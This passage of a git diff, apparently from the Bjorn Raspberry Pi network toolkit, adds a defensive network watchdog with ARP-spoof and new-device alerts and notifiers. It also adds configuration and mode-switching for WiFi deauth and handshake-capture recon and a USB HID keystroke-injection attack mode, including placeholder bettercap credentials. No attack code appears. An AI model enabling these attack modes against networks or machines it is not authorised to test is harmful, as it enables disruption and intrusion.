ports string + self._arp_cache: Dict[str, str] = {} # ip → mac mapping + self._last_check = 0.0 + self._initialized = False + + # Notifier registry + self._notifiers: Dict[str, Any] = {} + + # ── Lifecycle ─────────────────────────────────────────────────────── + + @property + def enabled(self) -> bool: + return bool(getattr(self.shared_data, 'sentinel_enabled', False)) + + @property + def interval(self) -> int: + return max(10, int(getattr(self.shared_data, 'sentinel_interval', 30))) + + def start(self): + if self._running: + return + if not self.enabled: + logger.info("Sentinel is disabled in config, not starting.") + return + self._stop_event.clear() + self._running = True + self._thread = threading.Thread( + target=self._loop, name="Sentinel", daemon=True + ) + self._thread.start() + logger.info("Sentinel engine started (interval=%ds)", self.interval) + + def stop(self): + if not self._running: + return + self._stop_event.set() + self._running = False + if self._thread: + self._thread.join(timeout=10) + self._thread = None + logger.info("Sentinel engine stopped.") + + def register_notifier(self, name: str, notifier): + """Register a notification dispatcher (discord, email, webhook, etc.).""" + self._notifiers[name] = notifier + + # ── Main loop ─────────────────────────────────────────────────────── + + def _loop(self): + # Give Bjorn a moment to start up + self._stop_event.wait(5) + + while not self._stop_event.is_set(): + try: + if not self.enabled: + self._stop_event.wait(30) + continue + + # Resource-friendly: skip if orchestrator is busy with actions + running_count = self._count_running_actions() + if running_count > 2: + logger.debug("Sentinel yielding — %d actions running", running_count) + self._stop_event.wait(min(self.interval, 15)) + continue + + self._run_checks() + + except Exception as e: + logger.error("Sentinel loop error: %s", e) + + self._stop_event.wait(self.interval) + + def _count_running_actions(self) -> int: + try: + rows = self.db.query( + "SELECT COUNT(*) AS c FROM action_queue WHERE status = 'running'" + ) + return int(rows[0].get("c", 0)) if rows else 0 + except Exception: + return 0 + + # ── Detection engine ──────────────────────────────────────────────── + + def _run_checks(self): + """Execute all detection modules against current DB state.""" + try: + hosts = self.db.query("SELECT * FROM hosts") or [] + except Exception as e: + logger.debug("Sentinel can't read hosts: %s", e) + return + + current_macs = set() + current_alive = set() + current_ports: Dict[str, str] = {} + + for h in hosts: + mac = (h.get("mac_address") or "").lower() + if not mac: + continue + current_macs.add(mac) + if h.get("alive"): + current_alive.add(mac) + current_ports[mac] = h.get("ports") or "" + + if not self._initialized: + # First run: snapshot state without firing alerts + self._known_macs = set(current_macs) + self._alive_macs = set(current_alive) + self._port_snapshot = dict(current_ports) + self._build_arp_cache(hosts) + self._initialized = True + logger.info("Sentinel initialized with %d known devices", len(self._known_macs)) + return + + # 1) New device detection + new_macs = current_macs - self._known_macs + for mac in new_macs: + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + ip = (host.get("ips") or "").split(";")[0] + hostname = (host.get("hostnames") or "").split(";")[0] or "Unknown" + vendor = host.get("vendor") or "Unknown" + self._fire_event( + "new_device", SEV_WARNING, + f"New device: {hostname} ({vendor})", + f"MAC: {mac} | IP: {ip} | Vendor: {vendor}", + mac=mac, ip=ip, + meta={"hostname": hostname, "vendor": vendor} + ) + + # 2) Device join (came online) + joined = current_alive - self._alive_macs + for mac in joined: + if mac in new_macs: + continue # Already reported as new + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + ip = (host.get("ips") or "").split(";")[0] + hostname = (host.get("hostnames") or "").split(";")[0] or mac + self._fire_event( + "device_join", SEV_INFO, + f"Device online: {hostname}", + f"MAC: {mac} | IP: {ip}", + mac=mac, ip=ip + ) + + # 3) Device leave (went offline) + left = self._alive_macs - current_alive + for mac in left: + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + hostname = (host.get("hostnames") or "").split(";")[0] or mac + self._fire_event( + "device_leave", SEV_INFO, + f"Device offline: {hostname}", + f"MAC: {mac}", + mac=mac + ) + + # 4) Port changes on known hosts + for mac in current_macs & self._known_macs: + old_ports = self._port_snapshot.get(mac, "") + new_ports = current_ports.get(mac, "") + if old_ports != new_ports and old_ports and new_ports: + old_set = set(old_ports.split(";")) if old_ports else set() + new_set = set(new_ports.split(";")) if new_ports else set() + opened = new_set - old_set + closed = old_set - new_set + if opened or closed: + host = next((h for h in hosts if (h.get("mac_address") or "").lower() == mac), {}) + hostname = (host.get("hostnames") or "").split(";")[0] or mac + parts = [] + if opened: + parts.append(f"Opened: {', '.join(sorted(opened))}") + if closed: + parts.append(f"Closed: {', '.join(sorted(closed))}") + self._fire_event( + "port_change", SEV_WARNING, + f"Port change on {hostname}", + " | ".join(parts), + mac=mac, + meta={"opened": list(opened), "closed": list(closed)} + ) + + # 5) ARP spoofing detection + self._check_arp_spoofing(hosts) + + # 6) MAC flood detection + if len(new_macs) >= 5: + self._fire_event( + "mac_flood", SEV_CRITICAL, + f"MAC flood: {len(new_macs)} new devices in one cycle", + f"MACs: {', '.join(list(new_macs)[:10])}", + meta={"count": len(new_macs), "macs": list(new_macs)[:20]} + ) + + # Update state snapshots + self._known_macs = current_macs + self._alive_macs = current_alive + self._port_snapshot = current_ports + + def _build_arp_cache(self, hosts: List[Dict]): + """Build initial ARP cache from host data.""" + self._arp_cache = {} + for h in hosts: + mac = (h.get("mac_address") or "").lower() + ips = (h.get("ips") or "").split(";") + for ip in ips: + ip = ip.strip() + if ip: + self._arp_cache[ip] = mac + try: + self.db._base.execute( + """INSERT INTO sentinel_arp_cache (mac_address, ip_address) + VALUES (?, ?) + ON CONFLICT(mac_address, ip_address) + DO UPDATE SET last_seen = CURRENT_TIMESTAMP""", + (mac, ip) + ) + except Exception: + pass + + def _check_arp_spoofing(self, hosts: List[Dict]): + """Detect IP claimed by different MAC than previously seen.""" + for h in hosts: + mac = (h.get("mac_address") or "").lower() + if not mac or not h.get("alive"): + continue + ips = (h.get("ips") or "").split(";") + for ip in ips: + ip = ip.strip() + if not ip: + continue + prev_mac = self._arp_cache.get(ip) + if prev_mac and prev_mac != mac: + hostname = (h.get("hostnames") or "").split(";")[0] or mac + self._fire_event( + "arp_spoof", SEV_CRITICAL, + f"ARP Spoof: {ip} changed from {prev_mac} to {mac}", + f"IP {ip} was bound to {prev_mac}, now claimed by {mac} ({hostname}). " + f"Possible ARP spoofing / MITM attack.", + mac=mac, ip=ip, + meta={"old_mac": prev_mac, "new_mac": mac} + ) + self._arp_cache[ip] = mac + try: + self.db._base.execute( + """INSERT INTO sentinel_arp_cache (mac_address, ip_address) + VALUES (?, ?) + ON CONFLICT(mac_address, ip_address) + DO UPDATE SET last_seen = CURRENT_TIMESTAMP""", + (mac, ip) + ) + except Exception: + pass + + # ── Event firing & rule engine ────────────────────────────────────── + + def _fire_event(self, event_type: str, severity: str, title: str, + details: str = "", mac: str = "", ip: str = "", + meta: Optional[Dict] = None): + """Check rules, store event, dispatch notifications.""" + try: + # Check if any enabled rule matches + rules = self.db.query( + "SELECT * FROM sentinel_rules WHERE enabled = 1 AND trigger_type = ?", + (event_type,) + ) or [] + + if not rules: + # No rules for this event type — still log but don't notify + self._store_event(event_type, severity, title, details, mac, ip, meta) + return + + for rule in rules: + # Check cooldown + last_fired = rule.get("last_fired") + cooldown = int(rule.get("cooldown_s", 60)) + if last_fired and cooldown > 0: + try: + lf = datetime.fromisoformat(last_fired) + if datetime.now() - lf < timedelta(seconds=cooldown): + continue + except Exception: + pass + + # Check conditions (AND/OR logic) + conditions = rule.get("conditions", "{}") + if isinstance(conditions, str): + try: + conditions = json.loads(conditions) + except Exception: + conditions = {} + logic = rule.get("logic", "AND") + if conditions and not self._evaluate_conditions(conditions, logic, + mac=mac, ip=ip, meta=meta): + continue + + # Store event + self._store_event(event_type, severity, title, details, mac, ip, meta) + + # Update rule last_fired + try: + self.db.execute( + "UPDATE sentinel_rules SET last_fired = CURRENT_TIMESTAMP WHERE id = ?", + (rule.get("id"),) + ) + except Exception: + pass + + # Dispatch notifications + actions = rule.get("actions", '["notify_web"]') + if isinstance(actions, str): + try: + actions = json.loads(actions) + except Exception: + actions = ["notify_web"] + + self._dispatch_notifications(actions, event_type, severity, + title, details, mac, ip, meta) + break # Only fire once per event type per cycle + + except Exception as e: + logger.error("Error firing event %s: %s", event_type, e) + + def _store_event(self, event_type, severity, title, details, mac, ip, meta): + try: + self.db.execute( + """INSERT INTO sentinel_events + (event_type, severity, title, details, mac_address, ip_address, meta_json) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (event_type, severity, title, details, mac, ip, + json.dumps(meta or {})) + ) + except Exception as e: + logger.error("Failed to store sentinel event: %s", e) + + def _evaluate_conditions(self, conditions: Dict, logic: str, + mac: str = "", ip: str = "", + meta: Optional[Dict] = None) -> bool: + """ + Evaluate rule conditions with AND/OR logic. + Conditions format: {"mac_contains": "aa:bb", "ip_range": "192.168.1."} + """ + if not conditions: + return True + + results = [] + meta = meta or {} + + for key, value in conditions.items(): + if key == "mac_contains": + results.append(value.lower() in mac.lower()) + elif key == "mac_not_contains": + results.append(value.lower() not in mac.lower()) + elif key == "ip_prefix": + results.append(ip.startswith(value)) + elif key == "ip_not_prefix": + results.append(not ip.startswith(value)) + elif key == "vendor_contains": + results.append(value.lower() in (meta.get("vendor", "")).lower()) + elif key == "min_new_devices": + results.append(int(meta.get("count", 0)) >= int(value)) + elif key == "trusted_only": + # Check if MAC is trusted in sentinel_devices + dev = self.db.query_one( + "SELECT trusted FROM sentinel_devices WHERE mac_address = ?", (mac,) + ) + is_trusted = bool(dev and dev.get("trusted")) + results.append(is_trusted if value else not is_trusted) + else: + results.append(True) # Unknown condition → pass + + if not results: + return True + return all(results) if logic == "AND" else any(results) + + def _dispatch_notifications(self, actions: List[str], event_type: str, + severity: str, title: str, details: str, + mac: str, ip: str, meta: Optional[Dict]): + """Dispatch to registered notifiers.""" + payload = { + "event_type": event_type, + "severity": severity, + "title": title, + "details": details, + "mac": mac, + "ip": ip, + "meta": meta or {}, + "timestamp": datetime.now().isoformat(), + } + + for action in actions: + if action == "notify_web": + # Web notification is automatic via polling — no extra action needed + continue + notifier = self._notifiers.get(action) + if notifier: + try: + notifier.send(payload) + except Exception as e: + logger.error("Notifier %s failed: %s", action, e) + else: + logger.debug("No notifier registered for action: %s", action) + + # ── Public query API (for web_utils) ──────────────────────────────── + + def get_status(self) -> Dict: + unread = 0 + total_events = 0 + try: + row = self.db.query_one( + "SELECT COUNT(*) AS c FROM sentinel_events WHERE acknowledged = 0" + ) + unread = int(row.get("c", 0)) if row else 0 + row2 = self.db.query_one("SELECT COUNT(*) AS c FROM sentinel_events") + total_events = int(row2.get("c", 0)) if row2 else 0 + except Exception: + pass + + return { + "enabled": self.enabled, + "running": self._running, + "initialized": self._initialized, + "known_devices": len(self._known_macs), + "alive_devices": len(self._alive_macs), + "unread_alerts": unread, + "total_events": total_events, + "interval": self.interval, + "check_count": 0, + } + + +# ── Notification Dispatchers ──────────────────────────────────────────── + +class DiscordNotifier: + """Send alerts to a Discord channel via webhook.""" + + def __init__(self, webhook_url: str): + self.webhook_url = webhook_url + + def send(self, payload: Dict): + import urllib.request + severity_colors = { + "info": 0x00FF9A, + "warning": 0xFFD166, + "critical": 0xFF3B3B, + } + color = severity_colors.get(payload.get("severity", "info"), 0x00FF9A) + severity_emoji = {"info": "\u2139\uFE0F", "warning": "\u26A0\uFE0F", "critical": "\uD83D\uDEA8"} + emoji = severity_emoji.get(payload.get("severity", "info"), "\u2139\uFE0F") + + embed = { + "title": f"{emoji} {payload.get('title', 'Sentinel Alert')}", + "description": payload.get("details", ""), + "color": color, + "fields": [], + "footer": {"text": f"Bjorn Sentinel \u2022 {payload.get('timestamp', '')}"}, + } + if payload.get("mac"): + embed["fields"].append({"name": "MAC", "value": payload["mac"], "inline": True}) + if payload.get("ip"): + embed["fields"].append({"name": "IP", "value": payload["ip"], "inline": True}) + embed["fields"].append({ + "name": "Type", "value": payload.get("event_type", "unknown"), "inline": True + }) + + body = json.dumps({"embeds": [embed]}).encode("utf-8") + req = urllib.request.Request( + self.webhook_url, + data=body, + headers={"Content-Type": "application/json", "User-Agent": "Bjorn-Sentinel/1.0"}, + ) + try: + urllib.request.urlopen(req, timeout=10) + except Exception as e: + logger.error("Discord notification failed: %s", e) + + +class WebhookNotifier: + """Send alerts to a generic HTTP webhook (POST JSON).""" + + def __init__(self, url: str, headers: Optional[Dict] = None): + self.url = url + self.headers = headers or {} + + def send(self, payload: Dict): + import urllib.request + body = json.dumps(payload).encode("utf-8") + hdrs = {"Content-Type": "application/json", "User-Agent": "Bjorn-Sentinel/1.0"} + hdrs.update(self.headers) + req = urllib.request.Request(self.url, data=body, headers=hdrs) + try: + urllib.request.urlopen(req, timeout=10) + except Exception as e: + logger.error("Webhook notification failed: %s", e) + + +class EmailNotifier: + """Send alerts via SMTP email.""" + + def __init__(self, smtp_host: str, smtp_port: int, username: str, + password: str, from_addr: str, to_addrs: List[str], + use_tls: bool = True): + self.smtp_host = smtp_host + self.smtp_port = smtp_port + self.username = username + self.password = password + self.from_addr = from_addr + self.to_addrs = to_addrs + self.use_tls = use_tls + + def send(self, payload: Dict): + import smtplib + from email.mime.text import MIMEText + + severity = payload.get("severity", "info").upper() + subject = f"[Bjorn Sentinel][{severity}] {payload.get('title', 'Alert')}" + body = ( + f"Event: {payload.get('event_type', 'unknown')}\n" + f"Severity: {severity}\n" + f"Title: {payload.get('title', '')}\n" + f"Details: {payload.get('details', '')}\n" + f"MAC: {payload.get('mac', 'N/A')}\n" + f"IP: {payload.get('ip', 'N/A')}\n" + f"Time: {payload.get('timestamp', '')}\n" + ) + + msg = MIMEText(body, "plain") + msg["Subject"] = subject + msg["From"] = self.from_addr + msg["To"] = ", ".join(self.to_addrs) + + try: + server = smtplib.SMTP(self.smtp_host, self.smtp_port, timeout=15) + if self.use_tls: + server.starttls() + if self.username: + server.login(self.username, self.password) + server.sendmail(self.from_addr, self.to_addrs, msg.as_string()) + server.quit() + except Exception as e: + logger.error("Email notification failed: %s", e) diff --git a/shared.py b/shared.py index 99b2fe8..401205a 100644 --- a/shared.py +++ b/shared.py @@ -190,6 +190,13 @@ class SharedData: "ai_exploration_rate": "settings.tooltip.ai_exploration_rate", "ai_sync_interval": "settings.tooltip.ai_sync_interval", "ai_server_max_failures_before_auto": "settings.tooltip.ai_server_max_failures_before_auto", + "ai_feature_selection_min_variance": "settings.tooltip.ai_feature_selection_min_variance", + "ai_model_history_max": "settings.tooltip.ai_model_history_max", + "ai_auto_rollback_window": "settings.tooltip.ai_auto_rollback_window", + "ai_cold_start_bootstrap_weight": "settings.tooltip.ai_cold_start_bootstrap_weight", + "circuit_breaker_threshold": "settings.tooltip.circuit_breaker_threshold", + "manual_mode_auto_scan": "settings.tooltip.manual_mode_auto_scan", + "manual_mode_scan_interval": "settings.tooltip.manual_mode_scan_interval", "startup_delay": "settings.tooltip.startup_delay", "web_delay": "settings.tooltip.web_delay", "screen_delay": "settings.tooltip.screen_delay", @@ -222,7 +229,7 @@ class SharedData: # Operation modes "__title_modes__": "Operation Modes", - "manual_mode": True, + "manual_mode": False, "ai_mode": True, "learn_in_auto": False, "debug_mode": True, @@ -252,6 +259,10 @@ class SharedData: "ai_consolidation_max_batches": 2, "ai_feature_hosts_limit": 512, "ai_delete_export_after_upload": True, + "ai_feature_selection_min_variance": 0.001, + "ai_model_history_max": 3, + "ai_auto_rollback_window": 50, + "ai_cold_start_bootstrap_weight": 0.6, "rl_train_batch_size": 10, # Global timing / refresh @@ -426,14 +437,71 @@ class SharedData: "bruteforce_exhaustive_symbols": False, "bruteforce_exhaustive_symbols_chars": "!@#$%^&*", "bruteforce_exhaustive_require_mix": False, + + # Orchestrator improvements + "__title_orchestrator__": "Orchestrator", + "circuit_breaker_threshold": 3, + "manual_mode_auto_scan": True, + "manual_mode_scan_interval": 180, + + "__title_sentinel__": "Sentinel Watchdog", + "sentinel_enabled": False, + "sentinel_interval": 30, + "sentinel_discord_webhook": "", + "sentinel_webhook_url": "", + "sentinel_email_enabled": False, + + # Bifrost (Pwnagotchi Mode) + "__title_bifrost__": "Bifrost (Pwnagotchi Mode)", + "bifrost_enabled": False, + "bifrost_iface": "wlan0mon", + "bifrost_bettercap_host": "127.0.0.1", + "bifrost_bettercap_port": 8081, + "bifrost_bettercap_user": "user", + "bifrost_bettercap_pass": "pass", + "bifrost_bettercap_handshakes": "/root/bifrost/handshakes", + "bifrost_whitelist": "", + "bifrost_channels": "", + "bifrost_filter": "", + "bifrost_personality_deauth": True, + "bifrost_personality_associate": True, + "bifrost_personality_recon_time": 30, + "bifrost_personality_hop_recon_time": 10, + "bifrost_personality_min_recon_time": 5, + "bifrost_personality_ap_ttl": 120, + "bifrost_personality_sta_ttl": 300, + "bifrost_personality_min_rssi": -200, + "bifrost_personality_max_interactions": 3, + "bifrost_personality_max_misses": 8, + "bifrost_personality_excited_epochs": 10, + "bifrost_personality_bored_epochs": 15, + "bifrost_personality_sad_epochs": 25, + "bifrost_personality_bond_factor": 20000, + "bifrost_plugins_path": "/root/bifrost/plugins", + "bifrost_ai_enabled": False, + + # Loki (HID Attack Mode) + "__title_loki__": "Loki (HID Attack Mode)", + "loki_enabled": False, + "loki_default_layout": "us", + "loki_typing_speed_min": 0, + "loki_typing_speed_max": 0, + "loki_scripts_path": "/root/loki/scripts", + "loki_auto_run": "", } @property def operation_mode(self) -> str: """ - Get current operation mode: 'MANUAL', 'AUTO', or 'AI'. + Get current operation mode: 'MANUAL', 'AUTO', 'AI', 'BIFROST', or 'LOKI'. Abstracts legacy manual_mode and ai_mode flags. + LOKI is the 5th exclusive mode — USB HID attack, Pi acts as keyboard/mouse. + BIFROST is the 4th exclusive mode — WiFi monitor mode recon. """ + if self.config.get("loki_enabled", False): + return "LOKI" + if self.config.get("bifrost_enabled", False): + return "BIFROST" if getattr(self, "manual_mode", False): return "MANUAL" if getattr(self, "ai_mode", False): @@ -470,11 +538,13 @@ class SharedData: @operation_mode.setter def operation_mode(self, mode: str): """ - Set operation mode: 'MANUAL', 'AUTO', or 'AI'. + Set operation mode: 'MANUAL', 'AUTO', 'AI', 'BIFROST', or 'LOKI'. Updates legacy flags for backward compatibility. + LOKI mode: stops orchestrator, starts loki engine (USB HID attack). + BIFROST mode: stops orchestrator, starts bifrost engine (monitor mode WiFi recon). """ mode = str(mode or "").upper().strip() - if mode not in ("MANUAL", "AUTO", "AI"): + if mode not in ("MANUAL", "AUTO", "AI", "BIFROST", "LOKI"): return # No-op if already in this mode (prevents log spam and redundant work). @@ -484,26 +554,79 @@ class SharedData: except Exception: pass - if mode == "MANUAL": - self.config["manual_mode"] = True - # ai_mode state doesn't strictly matter in manual, but keep it clean - self.manual_mode = True - self.ai_mode = False - elif mode == "AI": - self.config["manual_mode"] = False - self.config["ai_mode"] = True - self.manual_mode = False - self.ai_mode = True # Update attribute if it exists - elif mode == "AUTO": + # ── Leaving LOKI → stop engine, remove HID gadget ── + was_loki = self.config.get("loki_enabled", False) + if was_loki and mode != "LOKI": + engine = getattr(self, 'loki_engine', None) + if engine and hasattr(engine, 'stop'): + try: + engine.stop() + except Exception as e: + logger.warning("Loki stop error: %s", e) + self.config["loki_enabled"] = False + + # ── Leaving BIFROST → stop engine, restore WiFi ── + was_bifrost = self.config.get("bifrost_enabled", False) + if was_bifrost and mode != "BIFROST": + engine = getattr(self, 'bifrost_engine', None) + if engine and hasattr(engine, 'stop'): + try: + engine.stop() + except Exception as e: + logger.warning("Bifrost stop error: %s", e) + self.config["bifrost_enabled"] = False + + # ── Set new mode ── + if mode == "LOKI": + self.config["loki_enabled"] = True + self.config["bifrost_enabled"] = False self.config["manual_mode"] = False self.config["ai_mode"] = False self.manual_mode = False self.ai_mode = False - - # Ensure config reflects attributes (two-way sync usually handled by load_config but we do it here for setters) + # Start Loki engine + engine = getattr(self, 'loki_engine', None) + if engine and hasattr(engine, 'start'): + try: + engine.start() + except Exception as e: + logger.warning("Loki start error: %s", e) + elif mode == "BIFROST": + self.config["bifrost_enabled"] = True + self.config["loki_enabled"] = False + self.config["manual_mode"] = False + self.config["ai_mode"] = False + self.manual_mode = False + self.ai_mode = False + # Start engine + engine = getattr(self, 'bifrost_engine', None) + if engine and hasattr(engine, 'start'): + try: + engine.start() + except Exception as e: + logger.warning("Bifrost start error: %s", e) + elif mode == "MANUAL": + self.config["loki_enabled"] = False + self.config["manual_mode"] = True + self.manual_mode = True + self.ai_mode = False + elif mode == "AI": + self.config["loki_enabled"] = False + self.config["manual_mode"] = False + self.config["ai_mode"] = True + self.manual_mode = False + self.ai_mode = True + elif mode == "AUTO": + self.config["loki_enabled"] = False + self.config["manual_mode"] = False + self.config["ai_mode"] = False + self.manual_mode = False + self.ai_mode = False + + # Ensure config reflects attributes self.config["manual_mode"] = self.manual_mode self.config["ai_mode"] = getattr(self, "ai_mode", False) - + self.invalidate_config_cache() logger.info(f"Operation mode switched to: {mode}") @@ -631,6 +754,7 @@ class SharedData: # System state flags self.should_exit = False self.display_should_exit = False + self.display_layout = None # Initialized by Display module self.orchestrator_should_exit = False self.webapp_should_exit = False diff --git a/utils.py b/utils.py index 1ce0c6c..2f750cd 100644 --- a/utils.py +++ b/utils.py @@ -22,6 +22,9 @@ class WebUtils: "action_utils": ("web_utils.action_utils", "ActionUtils"), "rl": ("web_utils.rl_utils", "RLUtils"), "debug_utils": ("web_utils.debug_utils", "DebugUtils"), + "sentinel": ("web_utils.sentinel_utils", "SentinelUtils"), + "bifrost": ("web_utils.bifrost_utils", "BifrostUtils"), + "loki": ("web_utils.loki_utils", "LokiUtils"), } diff --git a/web/css/pages.css b/web/css/pages.css index 9f0bfc5..bee181f 100644 --- a/web/css/pages.css +++ b/web/css/pages.css @@ -1,10646 +1,19 @@ -/* ========================================================================== - pages.css — Page-specific styles for all SPA page modules. - Each section is scoped under the page's wrapper class to avoid conflicts. - ========================================================================== */ - -/* ===== Page-specific variables (extends global.css tokens) ===== */ -:root { - /* Bridge aliases used by multiple pages (Credentials, Loot, Files, Attacks) */ - --_bg: var(--bg); - --_panel: var(--c-panel-2); - --_panel-hi: color-mix(in oklab, var(--c-panel-2) 96%, transparent); - --_panel-lo: color-mix(in oklab, var(--c-panel-2) 86%, transparent); - --_border: var(--c-border); - --_ink: var(--ink); - --_muted: var(--muted); - --_acid: var(--acid); - --_acid2: var(--acid-2); - --_shadow: var(--shadow); - - /* NetKB chip colors */ - --kb-hostname-bg: color-mix(in oklab, var(--acid) 16%, transparent); - --kb-ip-bg: color-mix(in oklab, var(--acid-2) 18%, transparent); - --kb-mac-bg: color-mix(in oklab, var(--muted) 10%, transparent); - --kb-vendor-bg: color-mix(in oklab, #b18cff 16%, transparent); - --kb-ports-bg: color-mix(in oklab, #5fd1ff 16%, transparent); - --kb-essid-bg: color-mix(in oklab, #00e6c3 16%, transparent); - --kb-offline-bg: color-mix(in oklab, var(--bg-2) 88%, black 12%); - --kb-offline-brd: color-mix(in oklab, var(--c-border-strong) 60%, transparent); - --kb-offline-ring: color-mix(in oklab, #ff5b5b 30%, transparent); - --kb-badge-shimmer: linear-gradient(90deg, transparent, rgba(255, 255, 255, .22), transparent); - - /* Attacks page */ - --tile-min: 160px; - --ok-glow: rgba(34, 197, 94, .45); - --ko-glow: rgba(239, 68, 68, .45); -} - -/* ===== Shared sidebar layout (SPA parity with web_old) ===== */ -.page-with-sidebar { - --page-sidebar-w: 280px; - position: relative; - display: flex; - gap: 12px; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); - align-items: stretch; -} - -.page-with-sidebar .page-sidebar { - width: var(--page-sidebar-w); - flex: 0 0 var(--page-sidebar-w); - position: sticky; - top: 0; - align-self: stretch; - min-height: 100%; - max-height: none; - min-width: 0; - display: flex; - flex-direction: column; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - overflow: auto; -} - -.page-with-sidebar .page-main { - min-width: 0; - flex: 1; - min-height: 0; - display: flex; - flex-direction: column; -} - -.page-with-sidebar .sidebar-toggle-btn { - display: inline-flex; - margin-bottom: 0; - align-self: auto; -} - -.page-with-sidebar .sidebar-fab { - position: fixed; - right: 14px; - bottom: calc(var(--h-bottombar, 56px) + 14px); - z-index: 82; - border-radius: 999px; - width: 38px; - height: 38px; - min-width: 38px; - min-height: 38px; - padding: 0; - font-size: 16px; - color: var(--ink); - background: color-mix(in oklab, var(--c-panel) 88%, transparent); - border: 1px solid var(--c-border-strong); - box-shadow: 0 6px 16px rgba(0, 0, 0, .28); - opacity: .88; -} - -.page-with-sidebar .sidebar-fab:hover { - opacity: 1; - transform: translateY(-1px); -} - -.page-with-sidebar .sidebar-fab:active { - transform: translateY(0); -} - -.page-sidebar-backdrop { - display: none; - position: fixed; - left: 0; - right: 0; - top: var(--h-topbar, 56px); - bottom: var(--h-bottombar, 56px); - background: rgba(0, 0, 0, .52); - border: 0; - z-index: 79; -} - -.page-with-sidebar .sidehead { - padding: 10px; - border-bottom: 1px dashed var(--c-border); - display: flex; - align-items: center; - gap: 8px; -} - -.page-with-sidebar .sidetitle { - font-weight: 800; - color: var(--acid); - letter-spacing: .05em; -} - -.page-with-sidebar .sidecontent { - padding: 10px; - overflow: auto; - min-height: 0; - flex: 1; -} - -.page-with-sidebar.sidebar-collapsed .page-sidebar { - width: 0; - flex-basis: 0; - padding: 0; - border-width: 0; - overflow: hidden; -} - -@media (max-width: 900px) { - .page-with-sidebar { - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); - } - - .page-with-sidebar .sidebar-fab { - right: 10px; - bottom: calc(var(--h-bottombar, 56px) + 10px); - } - - .sidebar-fab-unified { - position: fixed; - z-index: 82; - border-radius: 999px; - width: 38px; - height: 38px; - min-width: 38px; - min-height: 38px; - padding: 0; - font-size: 16px; - color: var(--ink); - background: color-mix(in oklab, var(--c-panel) 88%, transparent); - border: 1px solid var(--c-border-strong); - box-shadow: 0 6px 16px rgba(0, 0, 0, .28); - opacity: .88; - } - - .sidebar-fab-unified:hover { - opacity: 1; - transform: translateY(-1px); - } - - .sidebar-fab-unified:active { - transform: translateY(0); - } - - .page-with-sidebar .page-sidebar { - position: fixed; - top: var(--h-topbar, 56px); - bottom: var(--h-bottombar, 56px); - left: 0; - z-index: 80; - width: min(86vw, 320px); - flex-basis: auto; - transform: translateX(-105%); - transition: transform .2s ease; - } - - .page-with-sidebar.sidebar-open .page-sidebar { - transform: translateX(0); - } - - .page-with-sidebar.sidebar-open .page-sidebar-backdrop { - display: block; - } -} - -/* ===== DASHBOARD ===== */ -.dashboard-container { - --gap: 12px; - --radius: 14px; - --pad: 12px; - --fs-meta: 12px; - --fs-title: 22px; - --glow-weak: color-mix(in oklab, var(--_acid2) 30%, transparent); - --glow-mid: color-mix(in oklab, var(--_acid2) 70%, transparent); -} - -@media (min-width:1024px) { - .dashboard-container { - --gap: 14px; - --radius: 16px; - --pad: 14px; - --fs-title: 24px; - } -} - -.dashboard-container .card { - border: 1px solid var(--c-border, var(--_border)); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border-radius: var(--radius); - box-shadow: var(--_shadow); - padding: var(--pad); - backdrop-filter: saturate(1.05) blur(3px); -} - -.dashboard-container .head { - display: flex; - justify-content: space-between; - align-items: center; - gap: 10px; -} - -.dashboard-container .head .title { - font-size: var(--fs-title); - line-height: 1.1; - margin: 0; -} - -.dashboard-container .head .meta { - color: var(--_muted); - font-size: var(--fs-meta); -} - -.dashboard-container .pill { - font-size: 12px; - color: var(--_muted); -} - -.dashboard-container .hero-grid { - display: grid; - gap: var(--gap); - grid-template-columns: 1fr; -} - -@media (min-width:1024px) { - .dashboard-container .hero-grid { - grid-template-columns: minmax(240px, 320px) 1fr minmax(220px, 300px); - } -} - -/* Battery naked */ -.dashboard-container .battery-card.naked { - border: none; - background: transparent; - box-shadow: none; - padding: 0; - display: grid; - place-items: center; -} - -.dashboard-container .battery-wrap { - position: relative; - width: clamp(180px, 46vw, 260px); - aspect-ratio: 1/1; - height: auto; - display: grid; - place-items: center; -} - -.dashboard-container .battery-ring { - position: absolute; - left: 50%; - top: 50%; - width: 100%; - height: 100%; - transform: translate(-50%, -50%) rotate(-90deg); - display: block; -} - -.dashboard-container .batt-bg { - fill: none; - stroke: color-mix(in oklab, var(--_ink) 10%, transparent); - stroke-width: 16; - opacity: .35; -} - -.dashboard-container .batt-fg { - fill: none; - stroke: url(#batt-grad); - stroke-width: 16; - stroke-linecap: round; - filter: url(#batt-glow); - stroke-dasharray: 100; - stroke-dashoffset: 100; - transition: stroke-dashoffset .9s ease; -} - -.dashboard-container .batt-scan { - fill: none; - stroke: var(--glow-mid); - stroke-width: 16; - stroke-linecap: round; - stroke-dasharray: 8 280; - opacity: .14; - transform-origin: 50% 50%; - animation: db-battSweep 2.2s linear infinite; -} - -@keyframes db-battSweep { - to { - transform: rotate(360deg); - } -} - -.dashboard-container .batt-center { - position: absolute; - inset: 0; - display: grid; - grid-template-rows: auto auto auto; - align-content: center; - justify-items: center; - gap: 6px; - padding: 6px; - text-align: center; -} - -.dashboard-container .bjorn-portrait { - position: relative; - width: 64px; - height: 64px; - display: grid; - place-items: center; - overflow: hidden; -} - -.dashboard-container .bjorn-portrait img { - width: 100%; - height: 100%; - object-fit: contain; - display: block; - opacity: .95; -} - -.dashboard-container .bjorn-lvl { - position: absolute; - right: -4px; - bottom: -4px; - font-size: 11px; - font-weight: 700; - padding: 2px 6px; - border-radius: 999px; - background: #0f1f18; - color: #d9ffe7; - border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--_border)); - box-shadow: 0 0 8px var(--glow-weak); -} - -.dashboard-container .batt-val { - font-size: clamp(18px, 5vw, 24px); - font-weight: 800; - text-shadow: 0 0 14px var(--glow-weak); -} - -.dashboard-container .batt-state { - color: var(--_muted); - font-size: 11px; - display: flex; - align-items: center; - gap: 6px; -} - -.dashboard-container .batt-indicator { - width: 16px; - height: 16px; - display: inline-grid; - place-items: center; -} - -.dashboard-container 